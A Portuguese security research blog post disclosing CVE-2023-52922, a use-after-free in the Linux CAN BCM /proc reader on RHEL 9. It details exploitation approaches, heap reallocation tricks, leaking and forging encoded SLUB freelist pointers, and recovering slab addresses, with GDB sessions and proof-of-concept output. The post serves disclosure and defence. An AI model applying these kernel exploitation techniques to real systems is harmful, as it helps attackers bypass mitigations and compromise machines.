To access this blog post in English, click here.
Em 2024, nosso time de pesquisa descobriu e escreveu provas de conceitos para uma vulnerabilidade de use-after-free afetando a última versão do Red Hat Enterprise Linux 9 (RHEL 9). No tempo, o kernel 5.14.0-503.15.1.el9_5. A vulnerabilidade foi corrigida no Linux kernel upstream em 17 de Julho de 2023 [1][2]. Depois que nós reportamos, a correção foi backported para o Red Hat Enterprise Linux 9 em 11 de março de 2025 [3] no kernel versão 5.14.0-503.31.1.el9_5.
Nós reportamos a vulnerabilidade para a Red Hat em 16 de Julho de 2024 e eles responderam que upstream rejeitou emitir um CVE e pediram a prova de conceito que tínhamos mencionado no primeiro contato. Depois de enviar um relatório detalhado incluindo a prova de conceito, eles emitiram o CVE-2023-52922 [4]. Esta postagem também destaca um padrão em potencial presente no subsistema CAN BCM, como uma outra vulnerabilidade também foi reportada e corrigida.
Esta vulnerabilidade permite usuários não privilegiados ler dados do espaço do kernel, em que poderia ser usado para divulgar informações sensíveis e burlar mitigações de segurança habilitadas por padrão nos sistemas afetados.
Como é popularmente conhecido de usuários Linux, muitos protocolos de rede criam entradas no diretório /proc. Para o CAN BCM, essas entradas são localizadas em /proc/net/can-bcm/[ENTRADA]. Contudo, supondo que uma entrada específica de um socket é lida e esse socket é concorrentemente liberado com close(), neste caso, os objetos impressos podem ser liberados enquanto a função que os lê ainda está em execução, levando a cenários de use-after-free. Isto acontece porque bcm_release() executa primeiro a função bcm_remove_op() nos itens das listas bo->tx_ops e bo->rx_ops e depois chama remove_proc_entry() para deletar as entradas do diretório /proc, criando uma janela de tempo que permite bcm_proc_show() ler os objetos liberados.
File: linux-5.14.0-362.13.1.el9_3/net/can/bcm.c
---
1488 static int bcm_release(struct socket *sock)
1489 {
1490 struct sock *sk = sock->sk;
1492 struct bcm_sock *bo;
1493 struct bcm_op *op, *next;
...
1499 bo = bcm_sk(sk);
...
1514 list_for_each_entry_safe(op, next, &bo->tx_ops, list)
1515 bcm_remove_op(op);
...
1517 list_for_each_entry_safe(op, next, &bo->rx_ops, list) {
...
1522 if (op->ifindex) {
...
1528 if (op->rx_reg_dev) {
1529 struct net_device *dev;
1530
1531 dev = dev_get_by_index(net, op->ifindex);
1532 if (dev) {
1533 bcm_rx_unreg(dev, op);
1534 dev_put(dev);
1535 }
1536 }
1537 } else
...
1542 }
...
1546 list_for_each_entry_safe(op, next, &bo->rx_ops, list)
1547 bcm_remove_op(op);
...
1551 if (net->can.bcmproc_dir && bo->bcm_proc_read)
1552 remove_proc_entry(bo->procname, net->can.bcmproc_dir);
...
1568 }
---A função bcm_remove_op() libera o objeto struct bcm_op recebido como argumento.
File: linux-5.14.0-362.13.1.el9_3/net/can/bcm.c
---
726 static void bcm_remove_op(struct bcm_op *op)
727 {
728 hrtimer_cancel(&op->timer);
729 hrtimer_cancel(&op->thrtimer);
730
731 if ((op->frames) && (op->frames != &op->sframe))
732 kfree(op->frames);
733
734 if ((op->last_frames) && (op->last_frames != &op->last_sframe))
735 kfree(op->last_frames);
736
737 kfree(op);
738 }
---Então, depois de liberar objetos struct bcm_op em bo->tx_ops e bo->rx_ops e antes de remover a entrada no diretório /proc, ambos em bcm_release(), uma execução de bcm_proc_show() poderia consumir objetos liberados destas listas e imprimir valores de objetos struct bcm_op, causando use-after-free em operações de leitura.
File: linux-5.14.0-362.13.1.el9_3/net/can/bcm.c
---
192 static int bcm_proc_show(struct seq_file *m, void *v)
193 {
194 char ifname[IFNAMSIZ];
195 struct net *net = m->private;
196 struct sock *sk = (struct sock *)pde_data(m->file->f_inode);
197 struct bcm_sock *bo = bcm_sk(sk);
198 struct bcm_op *op;
...
207 list_for_each_entry(op, &bo->rx_ops, list) {
208
209 unsigned long reduction;
...
212 if (!op->frames_abs)
213 continue;
...
215 seq_printf(m, "rx_op: %03X %-5s ", op->can_id,
216 bcm_proc_getifname(net, ifname, op->ifindex));
...
218 if (op->flags & CAN_FD_FRAME)
219 seq_printf(m, "(%u)", op->nframes);
220 else
221 seq_printf(m, "[%u]", op->nframes);
...
223 seq_printf(m, "%c ", (op->flags & RX_CHECK_DLC) ? 'd' : ' ');
...
225 if (op->kt_ival1)
226 seq_printf(m, "timeo=%lld ",
227 (long long)ktime_to_us(op->kt_ival1));
...
229 if (op->kt_ival2)
230 seq_printf(m, "thr=%lld ",
231 (long long)ktime_to_us(op->kt_ival2));
...
233 seq_printf(m, "# recv %ld (%ld) => reduction: ",
234 op->frames_filtered, op->frames_abs);
...
236 reduction = 100 - (op->frames_filtered * 100) / op->frames_abs;
...
238 seq_printf(m, "%s%ld%%\n",
239 (reduction == 100) ? "near " : "", reduction);
240 }
...
242 list_for_each_entry(op, &bo->tx_ops, list) {
...
244 seq_printf(m, "tx_op: %03X %s ", op->can_id,
245 bcm_proc_getifname(net, ifname, op->ifindex));
...
247 if (op->flags & CAN_FD_FRAME)
248 seq_printf(m, "(%u) ", op->nframes);
249 else
250 seq_printf(m, "[%u] ", op->nframes);
...
252 if (op->kt_ival1)
253 seq_printf(m, "t1=%lld ",
254 (long long)ktime_to_us(op->kt_ival1));
...
256 if (op->kt_ival2)
257 seq_printf(m, "t2=%lld ",
258 (long long)ktime_to_us(op->kt_ival2));
...
260 seq_printf(m, "# sent %ld\n", op->frames_abs);
261 }
...
263 return 0;
264 }
---EXPLORAÇÃO
O sistema alvo precisa ter uma interface de rede CAN para esta vulnerabilidade ser abusada. Contudo, essa exigência é atendida através dos recursos de user e net namespaces disponíveis para usuário não privilegiado, tornando esses recursos as únicas capacidades necessárias para abusá-la. Uma vez que uma interface CAN existe, nós precisamos criar um socket, conectar ele e enviar uma mensagem. Essas ações criam uma entrada no diretório /proc e popula as listas bo->rx_ops e/ou bo->tx_ops.
Uma observação importante sobre o RHEL 8 é que, apesar da vulnerabilidade esta presente até a última versão do kernel no momento deste post, nós não encontramos uma forma de acionar a vulnerabilidade porque o kernel não suporta Virtual CAN tunnels cross-namespace communication (VXCAN).
Red Hat Enterprise Linux 8
[user@rhel8 ~]$ cat /boot/config-4.18.0-553.30.1.el8_10.x86_64 | grep -i vxcan
# CONFIG_CAN_VXCAN is not set
[user@rhel8 ~]$ rpm -ql kernel-modules-4.18.0-553.30.1.el8_10.x86_64 | grep -i vxcan
[user@rhel8 ~]$ rpm -ql kernel-modules-extra-4.18.0-553.30.1.el8_10.x86_64 | grep -i vxcan
[user@rhel8 ~]$Red Hat Enterprise Linux 9
[user@rhel9 ~]$ cat /boot/config-5.14.0-503.15.1.el9_5.x86_64 | grep -i vxcan
CONFIG_CAN_VXCAN=m
[user@rhel9 ~]$ rpm -ql kernel-modules-5.14.0-503.15.1.el9_5.x86_64 | grep -i vxcan
/lib/modules/5.14.0-503.15.1.el9_5.x86_64/kernel/drivers/net/can/vxcan.ko.xz
[user@rhel9 ~]$Olhando no código para encontrar o SLUB cache em que o objeto afetado é alocado, nós vemos que objetos struct bcm_op são 472 bytes. Então, ele é alocado do cache kmalloc-512.
File: linux-5.14.0-362.13.1.el9_3/net/can/bcm.c
---
167 #define OPSIZ sizeof(struct bcm_op)
...
848 static int bcm_tx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
849 int ifindex, struct sock *sk)
850 {
...
909 op = kzalloc(OPSIZ, GFP_KERNEL);
910 if (!op)
911 return -ENOMEM;
...
1018 }
---(gdb) ptype/o struct bcm_op
/* offset | size */ type = struct bcm_op {
...
/* 256 | 8 */ ktime_t kt_ival2;
...
/* total size (bytes): 472 */
}
(gdb) Nós tentamos três abordagens diferentes para aproveitar o impacto da vulnerabilidade:
- Realocar o objeto SLUB como um objeto que o usuário tem controle sob o offset 0.
- Realocar o objeto SLUB como um objeto que resulta em um loop e torna o sistema inoperante.
- Obter os ponteiros codificados dos objetos liberados.
Realocar o OBJETO SLUB como um objeto que o usuário tem controle sob o offset 0
Para a primeira abordagem, nós podemos desreferenciar um objeto arbitrário ao realocar o objeto liberado através do protocolo de rede VSOCK e a chamada de sistema sendmsg(). Nós inicialmente usamos o subsistema de chaveiro, mas tivemos que mudar posteriormente para uma outra técnica para alcançar uma confiabilidade maior. Para alcançar esse objetivo, nós replicamos a estrutura struct bcm_op no espaço do usuário e definimos o ponteiro ->next da lista no início de um objeto para um endereço arbitrário (0x4142434445464748).
(gdb) ptype/o struct bcm_op
/* offset | size */ type = struct bcm_op {
/* 0 | 16 */ struct list_head {
/* 0 | 8 */ struct list_head *next;
/* 8 | 8 */ struct list_head *prev;
/* total size (bytes): 16 */
} list;
...
/* total size (bytes): 472 */
}
(gdb) Depois disso, nós usamos o objeto replicado como argumento para a chamada de sistema sendmsg(). Então, quando bcm_proc_show() obtém o próximo item da lista bo->tx_ops, ele obtém o objeto com nosso conteúdo e um endereço arbitrário no offset 0. Um general protection fault acontece quando este objeto é desreferenciado em list_for_each_entry() para obter o próximo objeto para ser impresso para o usuário.
general protection fault, probably for non-canonical address 0x4142434445464748: 0000 [#5] PREEMPT SMP NOPTINós não pudemos obter conteúdo da memória do kernel de forma confiável usando esta abordagem porque não encontramos uma forma de obter a cabeça das listas bo->rx_ops e bo->tx_ops sem depender de uma outra vulnerabilidade. Consequentemente, nós não pudemos sair do loop em list_for_each_entry() e retornar graciosamente de bcm_proc_show(), expondo os dados do kernel para o usuário.
REALOCAR O OBJETO SLUB COMO UM OBJETO QUE RESULTA EM LOOP E TORNA O SISTEMA INOPERANTE
Na segunda abordagem, nós realizamos uma cross-cache reallocation usando os objetos de message queue do System V IPC. Ao alocar objetos struct msg_msg, como eles também têm uma lista, chamada m_list, no início do objeto e seu tamanho é controlável pelo usuário, nós realocamos o objeto liberado com um objeto válido em seu ponteiro next. Mas como ele é diferente de &bo->tx_ops e &bo->tx_ops, as cabeças da listas, ele não termina o loop em list_for_each_entry() e causa um loop infinito.
(gdb) ptype/ox struct msg_msg
/* offset | size */ type = struct msg_msg {
/* 0x0000 | 0x0010 */ struct list_head {
/* 0x0000 | 0x0008 */ struct list_head *next;
/* 0x0008 | 0x0008 */ struct list_head *prev;
/* total size (bytes): 16 */
} m_list;
/* 0x0010 | 0x0008 */ long m_type;
/* 0x0018 | 0x0008 */ size_t m_ts;
/* 0x0020 | 0x0008 */ struct msg_msgseg *next;
/* 0x0028 | 0x0008 */ void *security;
/* total size (bytes): 48 */
}
(gdb)Como os objetos struct msg_msg são criados com a flag GFP_KERNEL_ACCOUNT, o slab por trás do objeto livre muda do kmalloc-512 para o kmalloc-cg-n cache, em que n é controlável pelo usuário.
File: linux-5.14.0-362.13.1.el9_3/ipc/msgutil.c
---
46 static struct msg_msg *alloc_msg(size_t len)
47 {
48 struct msg_msg *msg;
49 struct msg_msgseg **pseg;
50 size_t alen;
51
52 alen = min(len, DATALEN_MSG);
53 msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
54 if (msg == NULL)
55 return NULL;
...
---Para isso, nós criamos uma mensagem dos objetos struct msg_msg enquanto bcm_release() está liberando objetos struct bcm_op com bcm_remove_op(). Então, quando bcm_proc_show() tenta ler a entrada do diretório /proc do objeto liberado e realocado, nós encontramos um de nossos objetos struct msg_msg marcados com 0x5152535455565758 em msg.mtype e 0x5a (Z) em msg.mtext. Nós notamos esse comportamento através do debugger. Mas, novamente, nós não pudemos obter o conteúdo porque não encontramos uma forma confiável de parar o loop list_for_each_entry() em bcm_proc_show(). Sendo assim, o impacto desta abordagem é um loop infinito em list_for_each_entry(), que resulta em mensagens de avisos no buffer de mensagens do kernel. Um exemplo de um objeto struct msg_msg marcado sendo usado por bcm_proc_show() é exibido abaixo.
(gdb) x/10gx $rbx
0xffff888025633a00: 0xffff888025632600 0xffff888025632e00
0xffff888025633a10: 0x5152535455565758 0x00000000000001d0
0xffff888025633a20: 0x0000000000000000 0xffff88800b8ca4f0
0xffff888025633a30: 0x5a5a5a5a5a5a5a5a 0x5a5a5a5a5a5a5a5a
0xffff888025633a40: 0x5a5a5a5a5a5a5a5a 0x5a5a5a5a5a5a5a5a
(gdb) x/s 0xffff888025633a30
0xffff888025633a30: 'Z' ...
(gdb)Obter OS PONTEIROS DA FREELIST CODIFICADOS DE OBJETOS liberados
Na terceira abordagem, nós levamos em consideração uma feliz coincidência. Um dos valores impressos por bcm_proc_show(), precisamente kt_ival2, está localizado exatamente no meio do objeto struct bcm_op. Somando-se a isso o fato de que os ponteiros da freelist codificados também são armazenados no meio dos objetos em cache [5], nós podemos simplesmente divulgá-los através da leitura da entrada proc de um objeto liberado que ainda não foi realocado.
A seguinte saída do GDB mostra o código em assembly da validação feita em kt_ival2. Contudo, o objeto struct bcm_op está liberado. Então, o que acontece é uma validação no ponteiro codificado, que será impresso para o usuário via seq_printf().
Thread 2 hit Breakpoint 2, bcm_proc_show (m=0xffff88800bb59d98, v=<optimized out>) at net/can/bcm.c:256
256 if (op->kt_ival2)
=> 0xffffffffc0c396b5 <bcm_proc_show+837>: 48 8b 8b 00 01 00 00 mov 0x100(%rbx),%rcx
0xffffffffc0c396bc <bcm_proc_show+844>: 48 85 c9 test %rcx,%rcx
0xffffffffc0c396bf <bcm_proc_show+847>: 0f 84 54 ff ff ff je 0xffffffffc0c39619 <bcm_proc_show+681>
(gdb) ni
0xffffffffc0c396bc 256 if (op->kt_ival2)
=> 0xffffffffc0c396bc <bcm_proc_show+844>: 48 85 c9 test %rcx,%rcx
0xffffffffc0c396bf <bcm_proc_show+847>: 0f 84 54 ff ff ff je 0xffffffffc0c39619 <bcm_proc_show+681>
(gdb) i r rcx
rcx 0x690b907561538eac 0x690b907561538eac
(gdb)Investigando o cache kmalloc-512 para certificar que o valor é um ponteiro da freelist codificado, nós checamos a freelist do cache e acessamos o valor no meio do seu primeiro objeto. Nós pudemos confirmar que o valor 0x690b907561538eac está no meio do objeto (offset 256). Ele é um ponteiro de freelist codificado, como é exibido na decodificação para obter o próximo objeto livre da freelist.
(gdb) slabcaches "kmalloc-512"
SLUB configured
Object: 0xffff888004441a00
Name: kmalloc-512
Size: 512
Object size: 512
Offset: 256
Refcount: -1
Ctor: (nil)
Inuse: 512
Align: 512
Random: 0x964d31f0e4f2c753
CPU slab: 0x39140
CPU partial: 52
Flags: 0x40001000
Min partial: 5
Alloc flags: 0x40000
List: 0xffff888004441a68
Node: 0xffff888004441ad8
(gdb) printkmemcachecpu 0 0x39140
Object: 0xffff88807fc39140
Freelist: 0xffff88800529b800
TID: 30097408
(gdb) freelistwalk 0xffff88800529b800 256 0x964d31f0e4f2c753
Freelist pointer: 0xffff88800529b800
Freelist pointer: 0xffff88800529b600
Freelist pointer: 0xffff88800529ac00
Freelist pointer: 0xffff88800529be00
Freelist count: 4
(gdb) x/2gx 0xffff88800529b800 + 256
0xffff88800529b900: 0x690b907561538eac 0x0000000000000000
(gdb) p/x 0x690b907561538eac ^ 0x964d31f0e4f2c753 ^ swab64(0xffff88800529b800 + 256)
$20 = 0xffff88800529b600
(gdb) x/2gx 0xffff88800529b600 + 256
0xffff88800529b700: 0x69059075615394ac 0x0000000002000000
(gdb) p/x 0x69059075615394ac ^ 0x964d31f0e4f2c753 ^ swab64(0xffff88800529b600 + 256)
$21 = 0xffff88800529ac00
(gdb) x/2gx 0xffff88800529ac00 + 256
0xffff88800529ad00: 0x691f9075615386ac 0x0000000002000000
(gdb) p/x 0x691f9075615386ac ^ 0x964d31f0e4f2c753 ^ swab64(0xffff88800529ac00 + 256)
$23 = 0xffff88800529be00
(gdb) x/2gx 0xffff88800529be00 + 256
0xffff88800529bf00: 0x96f218f5647a38ac 0x0000000002000000
(gdb) p/x 0x96f218f5647a38ac ^ 0x964d31f0e4f2c753 ^ swab64(0xffff88800529be00 + 256)
$24 = 0x0
(gdb)Contudo, o valor impresso para o usuário não é o ponteiro da freelist codificado diretamente. Ele é modificado por ktime_to_us() antes de ser impresso. Esta função divide o valor por 1000. Nós podemos então usar a demonstração acima para obter o valor que será realmente impresso para o usuário e o que será obtido ao tentar recuperar o valor original. Como mostrado abaixo, alguns bits podem ser perdidos devido a divisão.
(gdb) p 0x690b907561538eac / 1000
$25 = 0x1ae43d8eb077b1
(gdb) p 0x1ae43d8eb077b1 * 1000
$26 = 0x690b907561538b68
(gdb) print/d 0x690b907561538eac - 0x690b907561538b68
$27 = 836
(gdb) print/x 0x690b907561538eac - 0x690b907561538b68
$28 = 0x344
(gdb)A operação de recuperação do ponteiro da freelist codificado a partir do valor obtido resulta em uma diferença de 836 bytes. A diferença varia a depender do ponteiro da freelist codificado e esse valor é diferente para cada objeto.
File: linux-5.14.0-362.13.1.el9_3/net/can/bcm.c
---
192 static int bcm_proc_show(struct seq_file *m, void *v)
193 {
...
256 if (op->kt_ival2)
257 seq_printf(m, "t2=%lld ",
258 (long long)ktime_to_us(op->kt_ival2));
---File: linux-5.14.0-362.13.1.el9_3/include/linux/ktime.h
---
159 static inline s64 ktime_to_us(const ktime_t kt)
160 {
161 return ktime_divns(kt, NSEC_PER_USEC);
162 }
---File: linux-5.14.0-362.13.1.el9_3/include/vdso/time64.h
---
...
8 #define NSEC_PER_USEC 1000L
...
---Além disso, nós não encontramos restrições proibindo a múltipla exploração da vulnerabilidade, resultando na obtenção completa da freelist ou de vários objetos.
ALAVANCANDO O IMPACTO
Como a vulnerabilidade nos permite obter a freelist completa com os ponteiros codificados do slab, devido a ausência de mecanismos evitando múltiplas explorações, nós obtemos dois resultados interessantes. O primeiro nos permite criar um ponteiro da freelist codificado que decodifica para qualquer endereço que desejarmos, e o segundo que nos permite obter o endereço base do slab, anulando a randomização de endereços da physmap/SLUB.
CRIANDO UM PONTEIRO DA FREELIST CODIFICADO QUE DECODIFICA PARA UM ENDEREÇO ARBITRÁRIO
O primeiro resultado é possível porque obtemos o último ponteiro da freelist codificado. Ele sempre decodifica para NULL, e devido a isso, a operação é mais simples, como demonstrado por Silvio Cesare [6] e Zhenpeng Lin [7]. Isto poderia ser usado em conjunto com outra vulnerabilidade que permite sobrescrever o ponteiro da freelist codificado, resultando em uma primitiva de escrita arbitrária.
O último ponteiro da freelist codificado aponta para o final da freelist, um valor NULL, fazendo com que a operação em freelist_ptr() seja avaliada como:
363 static inline void *freelist_ptr(const struct kmem_cache *s, void *ptr,
364 unsigned long ptr_addr)
365 {
366 #ifdef CONFIG_SLAB_FREELIST_HARDENED
367 /*
368 * When CONFIG_KASAN_SW/HW_TAGS is enabled, ptr_addr might be tagged.
369 * Normally, this doesn't cause any issues, as both set_freepointer()
370 * and get_freepointer() are called with a pointer with the same tag.
371 * However, there are some issues with CONFIG_SLUB_DEBUG code. For
372 * example, when __free_slub() iterates over objects in a cache, it
373 * passes untagged pointers to check_object(). check_object() in turns
374 * calls get_freepointer() with an untagged pointer, which causes the
375 * freepointer to be restored incorrectly.
376 */
377 return (void *)((unsigned long)ptr ^ s->random ^
378 swab((unsigned long)kasan_reset_tag((void *)ptr_addr)));
379 #else
380 return ptr;
381 #endif
382 }encoded = ptr ^ random ^ swab(ptr_addr)
encoded = NULL ^ random ^ swab(ptr_addr)
encoded = random ^ swab(ptr_addr)Sendo assim, considerando o valor target abaixo como um endereço arbitrário, o ponteiro da freelist codificado pode ser usado da seguinte forma:
crafted = target ^ encoded
crafted = target ^ (random ^ swab(ptr_addr))
crafted = target ^ random ^ swab(ptr_addr)Então, usando o último ponteiro da freelist codificado da seção anterior, ao decodificá-lo, nós temos:
(gdb) p/x 0x96f218f5647a38ac ^ 0x964d31f0e4f2c753 ^ swab64(0xffff88800529be00 + 256)
$27 = 0x0
(gdb)Assim, realizando uma operação XOR do último ponteiro da freelist codificado com um endereço arbitrário, o resultado é um ponteiro da freelist codificado que decodifica para o endereço arbitrário:
(gdb) p/x 0x96f218f5647a38ac ^ 0x4433221144332211
$28 = 0xd2c13ae420491abd
(gdb) p 0xd2c13ae420491abd ^ 0x964d31f0e4f2c753 ^ swab64(0xffff88800529be00 + 256)
$29 = 0x4433221144332211
(gdb)Isto demonstra o impacto de obter um ponteiro da freelist codificado, como já foi destacado por [6] e [7]. Novamente, se combinado com outras vulnerabilidades que permitem a sobrescrita do ponteiro da freelist codificado de um objeto, esta informação pode ser usada para facilitar o comprometimento do sistema.
IMPACTO DOS BITS AUSENTES
Como a vulnerabilidade divide o ponteiro da freelist codificado por 1000, o resultado obtido pode ter alguns bits diferentes. Este fato desloca o objeto um pouco, como mostrado adiante. O exemplo abaixo é de um slab diferente do exibido anteriormente. Ele contém um ponteiro da freelist codificado do último objeto da freelist (0x5cba827c7fc28c20), como obtido pelo usuário, o valor aleatório usado pelo cache (0x5ccf0a44fe4a7268) e o endereço do objeto que contém esse ponteiro da freelist codificado (0xffff888138887400), adicionado pelo offset do ponteiro da freelist (256). Um exemplo de um endereço arbitrário para o qual um atacante gostaria de criar um ponteiro da freelist codificado que decodifica para ele pode ser o endereço 0x4433221144332211.
(gdb) print/x (0x5cba827c7fc28c20 ^ 0x4433221144332211) ^ 0x5ccf0a44fe4a7268 ^ swab64(0xffff888138887400 + 256)
$120 = 0x44332211443323a6
(gdb) print/d 0x44332211443323a6 - 0x4433221144332211
$121 = 405
(gdb) print/x 0x44332211443323a6 - 0x4433221144332211
$222 = 0x195
(gdb)Como pode ser visto acima, o endereço arbitrário pode ser deslocado levemente se um ponteiro da freelist codificado é sobrescrito por um valor baseado no valor obtido. Contudo, um exploit em potencial poderia levar isso em consideração e mesmo assim combinar esse ataque com outras primitivas. Em certas condições, nós observamos que o valor obtido continua inalterado, mantendo seu valor original após a divisão. Isto resulta na recuperação exata do ponteiro da freelist codificado. Em teoria, esta questão não deve ser um fator impeditivo para esta primitiva ser usada.
OBTENDO O ENDEREÇO BASE DO SLAB
O segundo resultado permite obter os endereços de objetos do SLUB cache. Isto é derivado de um outro ataque. Quando o último ponteiro da freelist codificado é usado em uma operação XOR com qualquer outro ponteiro da freelist codificado do mesmo slab, o resultado é similar aos endereços dos objetos do slab. Algumas vezes, nós obtemos o endereço exato de um objeto. Abaixo mostramos o resultado desta operação XOR impressa pela prova de conceito antes da normalização.
Leaked slab address: 0xffe39b8de807c710
Leaked slab address: 0xffe59b8de807d220
Leaked slab address: 0xffef9b8de807d8c0
Leaked slab address: 0xfffb9b8de807d070
Leaked slab address: 0xffe99b8de807db78
Leaked slab address: 0xffed9b8de8002968
Leaked slab address: 0xffe19b8de807d5c0
Leaked slab address: 0xfff39b8de807d178
Leaked slab address: 0xffeb9b8de807cef8
Leaked slab address: 0xfffd9b8de8002b50
Leaked slab address: 0xfff59b8de807c0d0
Leaked slab address: 0xfff79b8de807ce78
Leaked slab address: 0xffe79b8de807c868
Leaked slab address: 0xfff19b8de807df98
Leaked slab address: 0xfff99b8de807c158Se nós compararmos o resultado impresso pela prova de conceito com os endereços do slab abaixo, nós podemos ver que a diferença é pequena e facilmente recuperável.
(gdb) printkmemcachecpu 0 0x37140
Object: 0xffff9b8df9e37140
Freelist: 0xffff9b8de807c200
TID: 10712457216
Slab: 0xffffef7c44a01f00
Partial: 0xffffef7c44c05e80
Freelist pointer: 0xffff9b8de807c200
Freelist pointer: 0xffff9b8de807ca00
Freelist pointer: 0xffff9b8de807dc00
Freelist pointer: 0xffff9b8de807cc00
Freelist pointer: 0xffff9b8de807ce00
Freelist pointer: 0xffff9b8de807c600
Freelist pointer: 0xffff9b8de807d000
Freelist pointer: 0xffff9b8de807c800
Freelist pointer: 0xffff9b8de807da00
Freelist pointer: 0xffff9b8de807d600
Freelist pointer: 0xffff9b8de807d200
Freelist pointer: 0xffff9b8de807c000
Freelist pointer: 0xffff9b8de807d400
Freelist pointer: 0xffff9b8de807de00
Freelist pointer: 0xffff9b8de807d800
Freelist pointer: 0xffff9b8de807c400
Freelist count: 16
(gdb)Os bits diferentes do endereço base (0xffe39b8de807cXXX e 0xffff9b8de807cXXX) são triviais de serem recuperados, como nós sabemos que os endereços começam com 0xffff até com KASLR habilitado. Os últimos 12 bits não são necessários para recuperar os endereços dos objetos porque nós sabemos o tamanho dos objetos e o alinhamento. Como os objetos possuem 512 (0x200) bytes, nós corrigimos os endereços bases com 0xffff, limpamos os últimos 12 bits com zeros e utilizamos uma abordagem dinâmica para escolher um endereço como o endereço virtual base do slab. Esta abordagem dinâmica é necessária porque algumas vezes os extremos (menores e maiores endereços) estão fora da faixa de endereços do slab, invalidando o ataque.
Depois disso, nós geramos a lista de objetos. Para este ataque ser possível, nós precisamos somente do endereço base do slab. Com isto, nós podemos prever todos os endereços do slab. O resultado da prova de conceito é exibido abaixo.
slab[0] = 0xffff9b8de807c000
slab[1] = 0xffff9b8de807c200
slab[2] = 0xffff9b8de807c400
slab[3] = 0xffff9b8de807c600
slab[4] = 0xffff9b8de807c800
slab[5] = 0xffff9b8de807ca00
slab[6] = 0xffff9b8de807cc00
slab[7] = 0xffff9b8de807ce00
slab[8] = 0xffff9b8de807d000
slab[9] = 0xffff9b8de807d200
slab[10] = 0xffff9b8de807d400
slab[11] = 0xffff9b8de807d600
slab[12] = 0xffff9b8de807d800
slab[13] = 0xffff9b8de807da00
slab[14] = 0xffff9b8de807dc00
slab[15] = 0xffff9b8de807de00Nós obtemos a lista dos endereços do slab atualmente em uso na CPU 0 do cache kmalloc-512. A prova de conceito funciona de forma confiável.
[root@almalinux95research CVE-2023-52922]# ./exploit
Leaked last freelist encoded pointer: 0xc2d2d5429e43d488
slab[0] = 0xffff9b8de8045000
slab[1] = 0xffff9b8de8045200
slab[2] = 0xffff9b8de8045400
slab[3] = 0xffff9b8de8045600
slab[4] = 0xffff9b8de8045800
slab[5] = 0xffff9b8de8045a00
slab[6] = 0xffff9b8de8045c00
slab[7] = 0xffff9b8de8045e00
slab[8] = 0xffff9b8de8046000
slab[9] = 0xffff9b8de8046200
slab[10] = 0xffff9b8de8046400
slab[11] = 0xffff9b8de8046600
slab[12] = 0xffff9b8de8046800
slab[13] = 0xffff9b8de8046a00
slab[14] = 0xffff9b8de8046c00
slab[15] = 0xffff9b8de8046e00
[root@almalinux95research CVE-2023-52922]#PADRÃO COMUM
Esta postagem também destaca um padrão típico que tem acontecido no subsistema CAN BCM. A vulnerabilidade discutida nesta postagem não é o primeiro UAF afetando a entrada do diretório /proc deste subsistema. Uma outra vulnerabilidade foi corrigida algum tempo atrás:
can: bcm: fix warning in bcm_connect/proc_register
https://github.com/torvalds/linux/commit/deb507f91f1adbf64317ad24ac46c56eeccfb754
O problema acima é bem conhecido por nós. Identificamos que ele não tinha sido backported para o Red Hat Enterprise Linux 7 e seus derivativos aproximadamente em 2020, e que continuou vulnerável por 4 anos mesmo depois do problema ter sido corrigido em upstream. Esta vulnerabilidade tem uma característica diferente e ela permite confiavelmente ler endereços arbitrários do kernel em situações específicas, embora de uma forma não silenciosa. Isto poderia ser abusado para ler arquivos privilegiados do usuário root, como /etc/shadow, e até ler memória do kernel e de outros processos de usuários. Nossos clientes obtiveram essa inteligência, incluindo uma prova de conceito confiável demonstrando o impacto da vulnerabilidade. A prova de conceito conseguia os hashes do usuário root do sistema e do usuário root do banco de dados MySQL.
A vulnerabilidade discutida nesta postagem foi corrigida após quase 8 anos depois da primeira vulnerabilidade de use-after-free em operações de leitura envolvida com entradas proc do subsistema ter sido corrigida. Como o commit que introduz a vulnerabilidade discutida nessa postagem é o commit que introduz o subsistema no kernel do Linux, isso significa que a correção para a primeira vulnerabilidade não corrigiu a causa raiz, ainda permitindo problemas de use-after-free desde a introdução do protocolo.
Nós tivemos que postergar a publicação dessa postagem por que nós encontramos outras duas vulnerabilidades no subsistema CAN BCM enquanto o revisamos. Nós confirmamos que o patch para a vulnerabilidade discutida na postagem não a corrigiu. Pois, nós ainda pudemos acionar o use-after-free em operações de leitura na entrada do proc do protocolo CAN BCM.
Em adição, nós também identificamos um out-of-bound em operações de leitura. Na prova de conceito escrita para confirmá-lo, ela naturalmente vazava endereços de objetos struct page. Curiosamente, estes resultados confirmam os pontos levantados nessa seção de que há um padrão comum de vulnerabilidades afetando o subsistema CAN BCM. Felizmente, nós identificamos as vulnerabilidades antes de publicar a postagem.
Nós reportamos as novas vulnerabilidades para upstream, que já foram corrigidas e backported para os kernels stable e LTS, e em breve, as distribuições Linux também deverão receber essas correções. As vulnerabilidades recentes são identificadas por CVE-2025-38003 [8][9] e CVE-2025-38004 [10][11]. Nós também escreveremos postagens sobre elas, mostrando todo o contexto, como elas foram encontradas e uma discussão dos detalhes técnicos.
CONCLUSÃO
Embora há várias limitações para abusar desta vulnerabilidade com o intuito de alcançar uma divulgação de informação do kernel interessante de uma forma confiável e limpa, ela pode confiavelmente obter informações do kernel que são úteis para burlar mitigações e melhorar a confiabilidade de exploits. Nós não fomos capazes de obter o valor aleatório usado pelo cache dentro do prazo estabelecido para esse projeto, mas não descartamos essa possibilidade. Se esse for o caso, a vulnerabilidade é ainda mais interessante para um atacante.
Depois de ser corrigida publicamente em 2023, ela continuou afetando várias distribuições Linux por vários meses mesmo após nós a reportarmos. Entendemos que essa vulnerabilidade não é crítica comparada com outras. Nos dias atuais, há vários problemas para prestar atenção, com uma enxurrada de CVEs sendo registradas diariamente e a crescente complexidade do kernel do Linux torna difícil identificar, entender e priorizar os problemas. Mesmo assim, esta vulnerabilidade pode ser usada confiavelmente para anular um importante mecanismo de segurança, que é um fator que acreditamos que fabricantes e usuários deveriam levar em consideração.
Esta vulnerabilidade é apenas um exemplo demonstrando a necessidade de auditar sistemas dos quais dependemos, independente do fabricante, se você gostaria de melhorar a segurança do seu negócio, especialmente se você é um alvo de alto risco. Se você é um fabricante, nós podemos te ajudar a melhorar seus produtos, levando uma segurança melhor para seus clientes. Nós somos especialistas em segurança de sistemas Linux e Android.
Através dos nossos serviços de inteligência em vulnerabilidades e ameaças e pesquisa em segurança da informação, você ficará a frente dos demais em vulnerabilidades interessantes, técnicas, vetores de ataques e muito mais. Entre em contato e nós teremos o prazer em ajudar você.
